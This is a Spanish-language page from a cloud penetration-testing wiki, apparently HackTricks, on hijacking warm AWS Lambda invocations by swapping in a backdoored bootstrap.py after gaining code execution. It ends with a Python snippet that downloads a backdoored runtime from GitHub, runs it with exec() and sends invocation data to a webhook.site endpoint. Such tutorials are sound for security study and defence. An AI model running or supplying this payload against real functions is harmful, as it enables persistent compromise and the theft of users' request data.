Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md

4.3 KiB
Raw Blame History

AWS - Robar Solicitudes de Lambda

{{#include ../../../../banners/hacktricks-training.md}}

Flujo de Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer es un proceso fuera del contenedor que envía invocaciones al proceso init.
  2. El proceso init escucha en el puerto 9001 exponiendo algunos puntos finales interesantes:
  • /2018-06-01/runtime/invocation/next obtener el siguiente evento de invocación
  • /2018-06-01/runtime/invocation/{invoke-id}/response devolver la respuesta del controlador para la invocación
  • /2018-06-01/runtime/invocation/{invoke-id}/error devolver un error de ejecución
  1. bootstrap.py tiene un bucle que obtiene invocaciones del proceso init y llama al código del usuario para manejarlas (/next).
  2. Finalmente, bootstrap.py envía al init la respuesta

Nota que bootstrap carga el código del usuario como un módulo, por lo que cualquier ejecución de código realizada por el código del usuario está ocurriendo en este proceso.

Robando Solicitudes de Lambda

El objetivo de este ataque es hacer que el código del usuario ejecute un proceso bootstrap.py malicioso dentro del proceso bootstrap.py que maneja la solicitud vulnerable. De esta manera, el proceso bootstrap malicioso comenzará a comunicarse con el proceso init para manejar las solicitudes mientras el bootstrap legítimo está atrapado ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init.

Esta es una tarea simple de lograr ya que el código del usuario está siendo ejecutado por el legítimo proceso bootstrap.py. Así que el atacante podría:

  • Enviar un resultado falso de la invocación actual al proceso init, para que init piense que el proceso bootstrap está esperando más invocaciones.
  • Se debe enviar una solicitud a /${invoke-id}/response
  • El invoke-id se puede obtener de la pila del legítimo proceso bootstrap.py usando el módulo python inspect (como se propuso aquí) o simplemente solicitándolo nuevamente a /2018-06-01/runtime/invocation/next (como se propuso aquí).
  • Ejecutar un boostrap.py malicioso que manejará las siguientes invocaciones.
  • Por razones de sigilo, es posible enviar los parámetros de invocación de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre.
  • Para este ataque, es suficiente obtener el código original de bootstrap.py del sistema o github, agregar el código malicioso y ejecutarlo desde la invocación lambda actual.

Pasos del Ataque

  1. Encontrar una vulnerabilidad de RCE.
  2. Generar un bootstrap malicioso (por ejemplo, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
  3. Ejecutar el bootstrap malicioso.

Puedes realizar fácilmente estas acciones ejecutando:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Para más información, consulta https://github.com/carlospolop/lambda_bootstrap_switcher

Referencias

{{#include ../../../../banners/hacktricks-training.md}}